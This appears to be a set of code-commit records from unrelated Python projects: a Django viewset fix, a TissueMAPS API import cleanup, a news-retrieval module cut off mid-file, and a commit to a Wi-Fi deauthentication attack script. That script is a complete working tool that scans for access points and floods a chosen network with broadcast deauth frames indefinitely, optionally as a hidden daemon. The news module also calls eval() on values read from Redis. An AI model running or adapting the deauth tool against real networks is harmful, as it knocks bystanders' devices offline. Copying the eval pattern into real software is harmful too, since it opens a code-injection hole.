<commit_before># -*- coding: utf-8 -*-
#
# Copyright (c) 2014 Parisson SARL
# Copyright (c) 2014 Guillaume Pellerin <yomguy@parisson.com>

# This file is part of TimeSide.

# TimeSide is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 2 of the License, or
# (at your option) any later version.

# TimeSide is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.

# You should have received a copy of the GNU General Public License
# along with TimeSide.  If not, see <http://www.gnu.org/licenses/>.
#
# Author : Guillaume Pellerin <yomguy@parisson.com>

from django.views.generic import *
from django.http import HttpResponse, HttpResponseRedirect

from rest_framework import viewsets
from rest_framework.mixins import UpdateModelMixin

from timeside.server.models import *
from timeside.server.serializers import *

def stream_from_file(file):
    chunk_size = 0x10000
    f = open(file, 'r')
    while True:
        chunk = f.read(chunk_size)
        if not len(chunk):
            f.close()
            break
        yield chunk

class SelectionViewSet(viewsets.ModelViewSet):

    model = Selection
    serializer_class = SelectionSerializer

class ItemViewSet(viewsets.ModelViewSet):

    model = Item
    serializer_class = ItemSerializer

class ExperienceViewSet(viewsets.ModelViewSet):

    model = Experience
    serializer_class = ExperienceSerializer

class ProcessorViewSet(viewsets.ModelViewSet):

    model = Processor
    serializer_class = ProcessorSerializer

class ResultViewSet(viewsets.ModelViewSet):

    model = Result
    serializer_class = ResultSerializer

class PresetViewSet(viewsets.ModelViewSet):

    model = Preset
    serializer_class = PresetSerializer

class TaskViewSet(viewsets.ModelViewSet):

    model = Task
    serializer_class = TaskSerializer

class UserViewSet(viewsets.ModelViewSet):

    model = User
    serializer_class = UserSerializer

class IndexView(ListView):

    model = Item
    template_name = 'timeside/index.html'

    def get_context_data(self, **kwargs):
        context = super(IndexView, self).get_context_data(**kwargs)
        return context

    def dispatch(self, *args, **kwargs):
        return super(IndexView, self).dispatch(*args, **kwargs)

class ResultAnalyzerView(View):

    model = Result

    def get(self, request, *args, **kwargs):
        result = Result.objects.get(pk=kwargs['pk'])
        container = AnalyzerResultContainer()
        return HttpResponse(container.from_hdf5(result.hdf5.path).to_json(),
                            mimetype='application/json')

class ResultGrapherView(View):

    model = Result

    def get(self, request, *args, **kwargs):
        result = Result.objects.get(pk=kwargs['pk'])
        return HttpResponse(stream_from_file(result.file.path),
                            mimetype='image/png')

<commit_msg>Timeside server : fix modelViewSet<commit_after># -*- coding: utf-8 -*-
#
# Copyright (c) 2014 Parisson SARL
# Copyright (c) 2014 Guillaume Pellerin <yomguy@parisson.com>

# This file is part of TimeSide.

# TimeSide is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 2 of the License, or
# (at your option) any later version.

# TimeSide is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.

# You should have received a copy of the GNU General Public License
# along with TimeSide.  If not, see <http://www.gnu.org/licenses/>.
#
# Author : Guillaume Pellerin <yomguy@parisson.com>

from django.views.generic import *
from django.http import HttpResponse, HttpResponseRedirect

from rest_framework import viewsets
from rest_framework.mixins import UpdateModelMixin

from timeside.server.models import *
from timeside.server.serializers import *

def stream_from_file(file):
    chunk_size = 0x10000
    f = open(file, 'r')
    while True:
        chunk = f.read(chunk_size)
        if not len(chunk):
            f.close()
            break
        yield chunk

class SelectionViewSet(viewsets.ModelViewSet):

    model = Selection
    queryset = Selection.objects.all()
    serializer_class = SelectionSerializer

class ItemViewSet(viewsets.ModelViewSet):

    model = Item
    queryset = Item.objects.all()
    serializer_class = ItemSerializer

class ExperienceViewSet(viewsets.ModelViewSet):

    model = Experience
    queryset = Experience.objects.all()
    serializer_class = ExperienceSerializer

class ProcessorViewSet(viewsets.ModelViewSet):

    model = Processor
    queryset = Processor.objects.all()
    serializer_class = ProcessorSerializer

class ResultViewSet(viewsets.ModelViewSet):

    model = Result
    queryset = Result.objects.all()
    serializer_class = ResultSerializer

class PresetViewSet(viewsets.ModelViewSet):

    model = Preset
    queryset = Preset.objects.all()
    serializer_class = PresetSerializer

class TaskViewSet(viewsets.ModelViewSet):

    model = Task
    queryset = Task.objects.all()
    serializer_class = TaskSerializer

class UserViewSet(viewsets.ModelViewSet):

    model = User
    queryset = User.objects.all()
    serializer_class = UserSerializer

class IndexView(ListView):

    model = Item
    template_name = 'timeside/index.html'

    def get_context_data(self, **kwargs):
        context = super(IndexView, self).get_context_data(**kwargs)
        return context

    def dispatch(self, *args, **kwargs):
        return super(IndexView, self).dispatch(*args, **kwargs)

class ResultAnalyzerView(View):

    model = Result

    def get(self, request, *args, **kwargs):
        result = Result.objects.get(pk=kwargs['pk'])
        container = AnalyzerResultContainer()
        return HttpResponse(container.from_hdf5(result.hdf5.path).to_json(),
                            mimetype='application/json')

class ResultGrapherView(View):

    model = Result

    def get(self, request, *args, **kwargs):
        result = Result.objects.get(pk=kwargs['pk'])
        return HttpResponse(stream_from_file(result.file.path),
                            mimetype='image/png')

<|endoftext|>


<commit_before>#!/usr/bin/env python
"""
Sends deauth packets to a wifi network which results network outage for connected devices.
"""
__author__ ="Veerendra Kakumanu"
__license__ = "Apache 2.0"
__version__ = "3.0"
__maintainer__ = "Veerendra Kakumanu"

import os
import sys
import re
import logging
import subprocess
import argparse
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

try:
    import scapy.all
except:
    print "\n'scapy' module not found. Installing..."
    os.system("sudo apt-get install python-scapy -y")
    import scapy.all
scapy.all.conf.verbose = False
wireless_file="/proc/net/wireless"
dev_file="/proc/net/dev"
packet_count=2000
patterns={"MAC Address" : 'Address:(.*)',
          "ESSID"       : 'ESSID:(.*)',
          "ID"          : '(.*) - Address'}
def banner():
    print "\n+---------------------------------------------------+"
    print "|Deauth v3.0                        		    |"
    print "|Coded by Veerendra Kakumanu                        |"
    print "|Blog: www.networkhop.wordpress.com 		    |"
    print "|https://github.com/veerendra2/wifi-deauth-attack   |"
    print "+---------------------------------------------------+\n\n"

def daemonize():
    if os.fork():
        os._exit(0)
    os.chdir("/")
    os.umask(022)
    os.setsid()
    os.umask(0)
    if os.fork():
        os._exit(0)
    stdin = open(os.devnull)
    stdout = open(os.devnull, 'w')
    os.dup2(stdin.fileno(), 0)
    os.dup2(stdout.fileno(), 1)
    os.dup2(stdout.fileno(), 2)
    stdin.close()
    stdout.close()
    os.umask(022)
    for fd in xrange(3, 1024):
        try:
            os.close(fd)
        except OSError:
            pass

def create_interface():
    iface=None
    try:
        with open(dev_file) as f:
            return re.findall(r'(mon[0-9]+|wlan0mon)',f.read())[0]
    except:
        print "Monitoring interface not found. Attempting to start airmon-ng"
        try:
            with open(wireless_file) as f:
                iface=re.findall(r'(.*):',f.read())[0].strip()
        except:
            iface=raw_input("Wireless interface not found.\nPlease enter wireless interface name> ").strip()
        if os.system("airmon-ng start {} > /dev/null 2>&1".format(iface))!=0:
            print "\nairmon-ng not found. Please install aircrack-ng. RUN 'sudo apt-get install aircrack-ng -y'"
            exit(1)
        with open(dev_file) as f:
            return re.findall(r'(mon[0-9]+|wlan0mon)',f.read())[0]

def spinner():
    while True:
        for cursor in '|/-\\':
            yield cursor
spin=spinner()
class sniffWifi(object):
    def __init__(self,mon,pktlimit):
        self.mon=mon
        self.ap_list = dict() #Key--> ssidcount, Value-->[MAC, SSID]
        self.ap_set=set()
        self.pktcount=0
        self.ssidcount=0
        self.pktlimit=pktlimit #Number of beacons should listen

    def packetHandler(self,pkt):
        self.pktcount+=1
        if pkt.haslayer(scapy.all.Dot11) and pkt.type == 0 and pkt.subtype == 8 and pkt.addr2 not in self.ap_set:
            self.ssidcount+=1
            self.ap_set.add(pkt.addr2)
            self.ap_list.setdefault(str(self.ssidcount),[pkt.addr2,pkt.info])

    def stopFilter(self,x): #Stop the Sniffing if packet reachs the count
        sys.stdout.write("\b{}".format(next(spin)))
        sys.stdout.flush()
        if self.pktlimit < self.pktcount:
            return True
        else:
            return False

    def runSniff(self): #Sniffing Here!
        print "\nMonitoring wifi signals, it will take some time. Please wait.....",
        scapy.all.sniff(iface=self.mon, prn = self.packetHandler, stop_filter=self.stopFilter)
        print "\n\n"
        return self.ap_list

def get_aplist():
    result=None
    ap=dict()
    for x in range(3): #Sometimes it command is not running
        if x==2:
            print "iwlist is not working?"
            exit(1)
        try:
            result=subprocess.check_output("iwlist wlan0 s",shell=True)
            break
        except:
            continue
    for name,pattern in patterns.items():
        patterns[name]=re.compile(pattern)
    for line in result.split("Cell"):
        if line and "Scan completed" not in line:
            mac=patterns["MAC Address"].findall(line)[0].strip()
            ssid=patterns["ESSID"].findall(line)[0].strip('"')
            ids=int(patterns["ID"].findall(line)[0].strip())
            ap.setdefault(ids,[mac,ssid])
    return ap

def send_deauth(mac,mon):
    pkt=scapy.all.RadioTap()/scapy.all.Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=mac[0],addr3=mac[0])/scapy.all.Dot11Deauth()
    print "\nSending Deauthication Packets to -> "+mac[1]
    while True:
        sys.stdout.write("\b{}".format(next(spin)))
        sys.stdout.flush()
        scapy.all.sendp(pkt, iface=mon,count=1, inter=.2, verbose=0)

def render_ouput(ap):
    if not ap:
        print "Wifi hotspots not found near by you."
        exit(1)
    print "+".ljust(5,"-")+"+".ljust(28,"-")+"+".ljust(20,"-")+"+"
    print "| ID".ljust(5," ")+"|"+"     Wifi Hotspot Name     "+"|"+"    MAC Address    |"
    print "+".ljust(5,"-")+"+".ljust(28,"-")+"+".ljust(20,"-")+"+"
    for id, ssid in ap.items():
        print "|",str(id).ljust(3," ")+"|",ssid[1].ljust(26," ")+"|",ssid[0].ljust(17," ")+" |"
    print "+".ljust(5,"-")+"+".ljust(28,"-")+"+".ljust(20,"-")+"+"
    while 1:
        try:
            res=raw_input("\nChoose ID>>")
            if res in ap:
                break
        except: pass
        print "Invalid option. Please try again"
    return ap[res]

if __name__=='__main__':
    if not os.geteuid() == 0:
        print "[ERROR]".ljust(8," "),"Script must run with 'sudo'"
        print "For Help: sudo python deauth.py -h"
        exit(1)
    parser = argparse.ArgumentParser(description='Sends deauthentication packets to a wifi network which results network outage for connected devices.  [Coded by VEERENDRA KAKUMANU]')
    parser.add_argument('-d', action='store_true', dest='daemon', default=False ,help='Run as daemon')
    parser.add_argument('-c', action='store', dest='count',help='Stops the monitoring after this count reachs.By default it is 2000')
    parser.add_argument('-m', action='store', dest='mac',help='Sends deauth packets to this network')
    parser.add_argument('-v', action='version', version='%(prog)s 3.0')
    results=parser.parse_args()
    banner()
    if results.count:
        packet_count=int(results.count)
    mon=create_interface()
    if results.mac:
        if not re.search(r'(?:[0-9a-fA-F]:?){12}',results.mac.strip()):
            print "Incorrect MAC address format. Please check",results.mac.strip()
            exit(1)
        if results.daemon:
            print "\nRunning as daemon with pid",os.getpid()
            print "If you want to kill the process, run'pkill -9 -f deauth.py'"
            daemonize()
        send_deauth([results.mac.strip(),"Unknown"],mon)
    else:
        sniff=sniffWifi(mon,packet_count)
        wifi=render_ouput(sniff.runSniff())
        if results.daemon:
            print "\nRunning as daemon with pid",os.getpid()
            print "If you want to kill the process, run 'pkill -9 -f deauth.py'"
            daemonize()
        send_deauth(wifi,mon)
<commit_msg>adding prism as a possible name<commit_after>#!/usr/bin/env python
"""
Sends deauth packets to a wifi network which results network outage for connected devices.
"""
__author__ ="Veerendra Kakumanu"
__license__ = "Apache 2.0"
__version__ = "3.0"
__maintainer__ = "Veerendra Kakumanu"

import os
import sys
import re
import logging
import subprocess
import argparse
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

try:
    import scapy.all
except:
    print "\n'scapy' module not found. Installing..."
    os.system("sudo apt-get install python-scapy -y")
    import scapy.all
scapy.all.conf.verbose = False
wireless_file="/proc/net/wireless"
dev_file="/proc/net/dev"
packet_count=2000
patterns={"MAC Address" : 'Address:(.*)',
          "ESSID"       : 'ESSID:(.*)',
          "ID"          : '(.*) - Address'}
def banner():
    print "\n+---------------------------------------------------+"
    print "|Deauth v3.0                        		    |"
    print "|Coded by Veerendra Kakumanu                        |"
    print "|Blog: www.networkhop.wordpress.com 		    |"
    print "|https://github.com/veerendra2/wifi-deauth-attack   |"
    print "+---------------------------------------------------+\n\n"

def daemonize():
    if os.fork():
        os._exit(0)
    os.chdir("/")
    os.umask(022)
    os.setsid()
    os.umask(0)
    if os.fork():
        os._exit(0)
    stdin = open(os.devnull)
    stdout = open(os.devnull, 'w')
    os.dup2(stdin.fileno(), 0)
    os.dup2(stdout.fileno(), 1)
    os.dup2(stdout.fileno(), 2)
    stdin.close()
    stdout.close()
    os.umask(022)
    for fd in xrange(3, 1024):
        try:
            os.close(fd)
        except OSError:
            pass

def create_interface():
    iface=None
    try:
        with open(dev_file) as f:
            return re.findall(r'(mon[0-9]+|prism[0-9]+|wlan0mon)',f.read())[0]
    except:
        print "Monitoring interface not found. Attempting to start airmon-ng"
        try:
            with open(wireless_file) as f:
                iface=re.findall(r'(.*):',f.read())[0].strip()
        except:
            iface=raw_input("Wireless interface not found.\nPlease enter wireless interface name> ").strip()
        if os.system("airmon-ng start {} > /dev/null 2>&1".format(iface))!=0:
            print "\nairmon-ng not found. Please install aircrack-ng. RUN 'sudo apt-get install aircrack-ng -y'"
            exit(1)
        with open(dev_file) as f:
            return re.findall(r'(mon[0-9]+|prism[0-9]+|wlan0mon)',f.read())[0]

def spinner():
    while True:
        for cursor in '|/-\\':
            yield cursor
spin=spinner()
class sniffWifi(object):
    def __init__(self,mon,pktlimit):
        self.mon=mon
        self.ap_list = dict() #Key--> ssidcount, Value-->[MAC, SSID]
        self.ap_set=set()
        self.pktcount=0
        self.ssidcount=0
        self.pktlimit=pktlimit #Number of beacons should listen

    def packetHandler(self,pkt):
        self.pktcount+=1
        if pkt.haslayer(scapy.all.Dot11) and pkt.type == 0 and pkt.subtype == 8 and pkt.addr2 not in self.ap_set:
            self.ssidcount+=1
            self.ap_set.add(pkt.addr2)
            self.ap_list.setdefault(str(self.ssidcount),[pkt.addr2,pkt.info])

    def stopFilter(self,x): #Stop the Sniffing if packet reachs the count
        sys.stdout.write("\b{}".format(next(spin)))
        sys.stdout.flush()
        if self.pktlimit < self.pktcount:
            return True
        else:
            return False

    def runSniff(self): #Sniffing Here!
        print "\nMonitoring wifi signals, it will take some time. Please wait.....",
        scapy.all.sniff(iface=self.mon, prn = self.packetHandler, stop_filter=self.stopFilter)
        print "\n\n"
        return self.ap_list

def get_aplist():
    result=None
    ap=dict()
    for x in range(3): #Sometimes it command is not running
        if x==2:
            print "iwlist is not working?"
            exit(1)
        try:
            result=subprocess.check_output("iwlist wlan0 s",shell=True)
            break
        except:
            continue
    for name,pattern in patterns.items():
        patterns[name]=re.compile(pattern)
    for line in result.split("Cell"):
        if line and "Scan completed" not in line:
            mac=patterns["MAC Address"].findall(line)[0].strip()
            ssid=patterns["ESSID"].findall(line)[0].strip('"')
            ids=int(patterns["ID"].findall(line)[0].strip())
            ap.setdefault(ids,[mac,ssid])
    return ap

def send_deauth(mac,mon):
    pkt=scapy.all.RadioTap()/scapy.all.Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=mac[0],addr3=mac[0])/scapy.all.Dot11Deauth()
    print "\nSending Deauthication Packets to -> "+mac[1]
    while True:
        sys.stdout.write("\b{}".format(next(spin)))
        sys.stdout.flush()
        scapy.all.sendp(pkt, iface=mon,count=1, inter=.2, verbose=0)

def render_ouput(ap):
    if not ap:
        print "Wifi hotspots not found near by you."
        exit(1)
    print "+".ljust(5,"-")+"+".ljust(28,"-")+"+".ljust(20,"-")+"+"
    print "| ID".ljust(5," ")+"|"+"     Wifi Hotspot Name     "+"|"+"    MAC Address    |"
    print "+".ljust(5,"-")+"+".ljust(28,"-")+"+".ljust(20,"-")+"+"
    for id, ssid in ap.items():
        print "|",str(id).ljust(3," ")+"|",ssid[1].ljust(26," ")+"|",ssid[0].ljust(17," ")+" |"
    print "+".ljust(5,"-")+"+".ljust(28,"-")+"+".ljust(20,"-")+"+"
    while 1:
        try:
            res=raw_input("\nChoose ID>>")
            if res in ap:
                break
        except: pass
        print "Invalid option. Please try again"
    return ap[res]

if __name__=='__main__':
    if not os.geteuid() == 0:
        print "[ERROR]".ljust(8," "),"Script must run with 'sudo'"
        print "For Help: sudo python deauth.py -h"
        exit(1)
    parser = argparse.ArgumentParser(description='Sends deauthentication packets to a wifi network which results network outage for connected devices.  [Coded by VEERENDRA KAKUMANU]')
    parser.add_argument('-d', action='store_true', dest='daemon', default=False ,help='Run as daemon')
    parser.add_argument('-c', action='store', dest='count',help='Stops the monitoring after this count reachs.By default it is 2000')
    parser.add_argument('-m', action='store', dest='mac',help='Sends deauth packets to this network')
    parser.add_argument('-v', action='version', version='%(prog)s 3.0')
    results=parser.parse_args()
    banner()
    if results.count:
        packet_count=int(results.count)
    mon=create_interface()
    if results.mac:
        if not re.search(r'(?:[0-9a-fA-F]:?){12}',results.mac.strip()):
            print "Incorrect MAC address format. Please check",results.mac.strip()
            exit(1)
        if results.daemon:
            print "\nRunning as daemon with pid",os.getpid()
            print "If you want to kill the process, run'pkill -9 -f deauth.py'"
            daemonize()
        send_deauth([results.mac.strip(),"Unknown"],mon)
    else:
        sniff=sniffWifi(mon,packet_count)
        wifi=render_ouput(sniff.runSniff())
        if results.daemon:
            print "\nRunning as daemon with pid",os.getpid()
            print "If you want to kill the process, run 'pkill -9 -f deauth.py'"
            daemonize()
        send_deauth(wifi,mon)
<|endoftext|>


<commit_before># TmServer - TissueMAPS server application.
# Copyright (C) 2016  Markus D. Herrmann, University of Zurich and Robin Hafen
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
"""RESTful API.

"""
import logging
from flask import Blueprint

api = Blueprint('api', __name__)

logger = logging.getLogger(__name__)

import tmserver.api.experiment
import tmserver.api.plate
import tmserver.api.acquisition
import tmserver.api.channel
import tmserver.api.cycle
import tmserver.api.well
import tmserver.api.site
import tmserver.api.file
import tmserver.api.user
import tmserver.api.mapobject
import tmserver.api.feature
import tmserver.api.layer
import tmserver.api.tile

import tmserver.api.tools

import tmserver.api.workflow
<commit_msg>No logger needed in `tmserver/api/__init__.py`<commit_after># TmServer - TissueMAPS server application.
# Copyright (C) 2016  Markus D. Herrmann, University of Zurich and Robin Hafen
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
"""
RESTful API.

"""

from flask import Blueprint

api = Blueprint('api', __name__)

# load all API entry points to register with Blueprint
import tmserver.api.experiment
import tmserver.api.plate
import tmserver.api.acquisition
import tmserver.api.channel
import tmserver.api.cycle
import tmserver.api.well
import tmserver.api.site
import tmserver.api.file
import tmserver.api.user
import tmserver.api.mapobject
import tmserver.api.feature
import tmserver.api.layer
import tmserver.api.tile

import tmserver.api.tools

import tmserver.api.workflow
<|endoftext|>


<commit_before>#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
inquirer find news from memory and database
"""
#@author chengdujin
#@contact chengdujin@gmail.com
#@created Jan 12, 2013

import sys
reload(sys)
sys.setdefaultencoding('UTF-8')

from bson.objectid import ObjectId
from config import Collection
from config import db
from config import rclient
import feedparser

# CONSTANTS
from config import LANGUAGES
from config import STRATEGY_WITHOUT_WEIGHTS
from config import STRATEGY_WITH_WEIGHTS

# TODO: need to refactor this method after sorting out feed.py
# TODO: added database inquire if language cannot be found in memory
def get_categories_by_language(language=None):
    """
    get a list of categories and hot news by language
    """
    if not language:
        return None
    search_limit = 30
    images_limit = 5

    category_images = {}
    # find category_images for each category
    key_wildcard = 'news::%s::*' % language
    categories_composite = rclient.keys(key_wildcard)
    if categories_composite:
        categories = [cc.replace('news::%s::' % language, "")
                      for cc in categories_composite]
        for category in categories:
            entries = get_latest_entries_by_category(
                language=language, category=category, limit=search_limit)
            # 'category A': [{'title':'xxx', 'image':'http://yyy.com/zzz.jpg'}]
            # image: category_image
            category_images[category] = []
            for entry in entries:
                if 'category_image' in entry and entry['category_image']:
                    item = {'title': entry['title'], 'image': entry['category_image'], 'updated': entry['updated']}
                    category_images[category].append(item)
                    # limit the number of category_image to
                    if len(category_images[category]) == images_limit:
                        break
    else:
        print "ERROR: %s not supported! Or database is corrupted!" % language

    # find hot_news_image from hot news
    # category_images['hot_news']
    entries = get_latest_entries_by_language(
        language=language, limit=search_limit)
    category_images['hot_news'] = []
    for entry in entries:
        if 'hot_news_image' in entry and entry['hot_news_image']:
            item = {'title': entry['title'], 'image': entry['hot_news_image'], 'updated': entry['updated']}
            category_images['hot_news'].append(item)
            if len(category_images['hot_news']) == images_limit:
                break

    # special formatting for android-end
    output = []
    for k, v in category_images.iteritems():
        output.append({'Category': k, 'Images': v})
    return {'Categories': output}

def get_latest_entries_by_language(language=None, limit=10, start_id=None, strategy=1):
    """
    find out latest news items by language
    """
    if not language:
        return None
    if not limit:
        return None
    if limit < 0 or limit > 100:
        return None
    language = language.strip()
    if language not in LANGUAGES:
        return None
    limit = int(limit)
    # get the latest entries
    entry_ids_total = rclient.zcard("news::%s" % language)
    entries = []
    if entry_ids_total:  # memory (partially) meets the limit
        if entry_ids_total >= limit:
            entry_ids = rclient.zrevrange("news::%s" % language, 0, limit - 1)
            for entry_id in entry_ids:
                if start_id and entry_id == start_id:
                    return entries
                entries.append(eval(rclient.get(entry_id)))
        else:
            entry_ids = rclient.zrevrange(
                "news::%s" % language, 0, entry_ids_total - 1)
            last_entry_in_memory = None
            for entry_id in entry_ids:
                if start_id and entry_id == start_id:
                    return entries
                last_entry_in_memory = eval(rclient.get(entry_id))
                entries.append(last_entry_in_memory)
            last_entry_in_memory_updated = last_entry_in_memory['updated']
            limit_in_database = limit - entry_ids_total
            # database
            col = Collection(db, language)
            items = col.find({'updated': {'$lt': last_entry_in_memory_updated}}).sort(
                'updated', -1).limit(limit_in_database)
            for item in items:
                if start_id and str(item['_id']) == start_id:
                    return entries
                # string-ify all the values: ObjectId
                for x, y in item.iteritems():
                    if x != 'updated':
                        item[x] = str(y)
                entries.append(item)
    else:  # query the database
        entries = []
        col = Collection(db, language)
        items = col.find().sort('updated', -1).limit(limit)
        for item in items:
            if start_id and str(item['_id']) == start_id:
                return entries
            # string-ify all the values: ObjectId
            for x, y in item.iteritems():
                if x != 'updated':
                    item[x] = str(y)
            entries.append(item)
    return entries

def get_previous_entries_by_language(language=None, limit=10, end_id=None, strategy=1):
    """
    strategy 1.query without considering weights 2.query with considering weights
    """
    if not language:
        return None
    if not limit:
        return None
    if limit < 0 or limit > 100:
        return None
    language = language.strip()
    if language not in LANGUAGES:
        return None
    limit = int(limit)
    # preprocess end_id
    entry_ids_total = 0
    end_id_index = 0
    END_ID_IN_MEMORY = False
    limit_in_memory = 0
    if not end_id:
        entry_ids_total = rclient.zcard("news::%s" % language)
        end_id_index = entry_ids_total
        if entry_ids_total:
            # end_id is assign the most recent one
            end_id = rclient.zrevrange("news::%s" % language, 0, 0)[0]
            END_ID_IN_MEMORY = True
            limit_in_memory = entry_ids_total
        else:
            end_id = None  # which is in most cases, pointless
            END_ID_IN_MEMORY = False
    else:
        end_id_index = rclient.zrank("news::%s" % language, end_id)
        END_ID_IN_MEMORY = True if end_id_index > 0 else False
        if END_ID_IN_MEMORY:
            limit_in_memory = rclient.zrank("news::%s" % language, end_id)
    # implement according to strategy
    if strategy == STRATEGY_WITHOUT_WEIGHTS:
        entries = []
        if END_ID_IN_MEMORY:  # see if data in memory suffice
            if limit_in_memory >= limit:  # purely get from memory
                entry_ids = rclient.zrevrange(
                    "news::%s" % language, entry_ids_total - end_id_index, entry_ids_total - end_id_index + limit - 1)
                for entry_id in entry_ids:
                    entries.append(eval(rclient.get(entry_id)))
            else:  # memory + database
                # memory
                entry_ids = rclient.zrevrange(
                    "news::%s" % language, entry_ids_total - end_id_index, entry_ids_total - end_id_index + limit_in_memory - 1)
                last_entry_in_memory = None
                for entry_id in entry_ids:
                    last_entry_in_memory = eval(rclient.get(entry_id))
                    entries.append(last_entry_in_memory)
                limit_in_database = limit - limit_in_memory
                last_entry_in_memory_updated = last_entry_in_memory['updated']
                # find the remaining items in database
                col = Collection(db, language)
                items = col.find({'updated': {'$lt': last_entry_in_memory_updated}}).sort(
                    'updated', -1).limit(limit_in_database)
                for item in items:
                    # string-ify all the values: ObjectId
                    for x, y in item.iteritems():
                        if x != 'updated':
                            item[x] = str(y)
                    entries.append(item)
            return entries
        else:  # no memory or data in memory are not enough, so query database
            entries = []
            col = Collection(db, language)
            if end_id:
                end_id_entry = col.find_one({'_id': ObjectId(end_id)})
                if end_id_entry:
                    end_id_updated = end_id_entry['updated']
                    items = col.find({'updated': {'$lt': end_id_updated}}).sort(
                        'updated', -1).limit(limit)
                else:
                    return None
            # get the most recent limit number of entries
            else:
                items = col.find().sort('updated', -1).limit(limit)
            for item in items:
                # string-ify all the values: ObjectId
                for x, y in item.iteritems():
                    if x != 'updated':
                        item[x] = str(y)
                entries.append(item)
            return entries
    elif strategy == STRATEGY_WITH_WEIGHTS:
        pass

def get_latest_entries_by_category(language=None, category=None, limit=10, start_id=None, strategy=1):
    """
    find out latest news items by category and language
    """
    if not language or not category:
        return None
    if not limit:
        return None
    if limit < 0 or limit > 100:
        return None
    language = language.strip()
    category = category.strip()
    if language not in LANGUAGES:
        return None
    limit = int(limit)
    collection_name = 'news::%s::%s' % (language, category)
    # get the latest entries
    entry_ids_total = rclient.zcard(collection_name)
    entries = []
    if entry_ids_total:  # memory (partially) meets the limit
        if entry_ids_total >= limit:
            entry_ids = rclient.zrevrange(collection_name, 0, limit - 1)
            for entry_id in entry_ids:
                if start_id and entry_id == start_id:
                    return entries
                entries.append(eval(rclient.get(entry_id)))
        else:
            entry_ids = rclient.zrevrange(
                collection_name, 0, entry_ids_total - 1)
            last_entry_in_memory = None
            for entry_id in entry_ids:
                if start_id and entry_id == start_id:
                    return entries
                last_entry_in_memory = eval(rclient.get(entry_id))
                entries.append(last_entry_in_memory)
            last_entry_in_memory_updated = last_entry_in_memory['updated']
            limit_in_database = limit - entry_ids_total
            # database
            col = Collection(db, language)
            # query categories array with only one of its values
            items = col.find({'updated': {'$lt': last_entry_in_memory_updated}, 'categories': category}).sort(
                'updated', -1).limit(limit_in_database)

            for item in items:
                if start_id and item['_id'] == start_id:
                    return entries
                # string-ify all the values: ObjectId
                for x, y in item.iteritems():
                    if x != 'updated':
                        item[x] = str(y)
                entries.append(item)
    else:  # query the database
        entries = []
        col = Collection(db, collection_name)
        items = col.find({'categories': category}).sort(
            'updated', -1).limit(limit)
        for item in items:
            if start_id and item['_id'] == start_id:
                return entries
            # string-ify all the values: ObjectId
            for x, y in item.iteritems():
                if x != 'updated':
                    item[x] = str(y)
            entries.append(item)
    return entries

def get_previous_entries_by_category(language=None, category=None, limit=10,
                                     end_id=None, strategy=1):
    """
    strategy
        1.query without considering weights
        2.query with considering weights
    """
    if not language or not category:
        return None
    if not limit:
        return None
    if limit < 0 or limit > 100:
        return None
    language = language.strip()
    category = category.strip()
    if language not in LANGUAGES:
        return None
    limit = int(limit)
    collection_name = 'news::%s::%s' % (language, category)
    # preprocess end_id
    entry_ids_total = 0
    end_id_index = 0
    END_ID_IN_MEMORY = False
    limit_in_memory = 0
    if not end_id:
        entry_ids_total = rclient.zcard(collection_name)
        end_id_index = entry_ids_total
        if entry_ids_total:
            # end_id is assign the most recent one
            end_id = rclient.zrevrange(collection_name, 0, 0)[0]
            END_ID_IN_MEMORY = True
            limit_in_memory = entry_ids_total
        else:
            end_id = None  # which is in most cases, pointless
            END_ID_IN_MEMORY = False
    else:
        end_id_index = rclient.zrank(collection_name, end_id)
        END_ID_IN_MEMORY = True if end_id_index > 0 else False
        if END_ID_IN_MEMORY:
            limit_in_memory = rclient.zrank(collection_name, end_id) + 1
    # implement according to strategy
    if strategy == STRATEGY_WITHOUT_WEIGHTS:
        entries = []
        if END_ID_IN_MEMORY:  # see if data in memory suffice
            if limit_in_memory >= limit:  # purely get from memory
                entry_ids = rclient.zrevrange(
                    collection_name, entry_ids_total - end_id_index, entry_ids_total - end_id_index + limit - 1)
                for entry_id in entry_ids:
                    entries.append(eval(rclient.get(entry_id)))
            else:  # memory + database
                # memory
                entry_ids = rclient.zrevrange(
                    collection_name, entry_ids_total - end_id_index, entry_ids_total - end_id_index + limit_in_memory - 1)
                last_entry_in_memory = None
                for entry_id in entry_ids:
                    last_entry_in_memory = eval(rclient.get(entry_id))
                    entries.append(last_entry_in_memory)
                limit_in_database = limit - limit_in_memory
                last_entry_in_memory_updated = last_entry_in_memory['updated']

                # find the remaining items in database
                col = Collection(db, language)
                items = col.find({'updated': {'$lt': last_entry_in_memory_updated}, 'categories': category}).sort(
                    'updated', -1).limit(limit_in_database)
                for item in items:
                    # string-ify all the values: ObjectId
                    for x, y in item.iteritems():
                        if x != 'updated':
                            item[x] = str(y)
                    entries.append(item)
            return entries
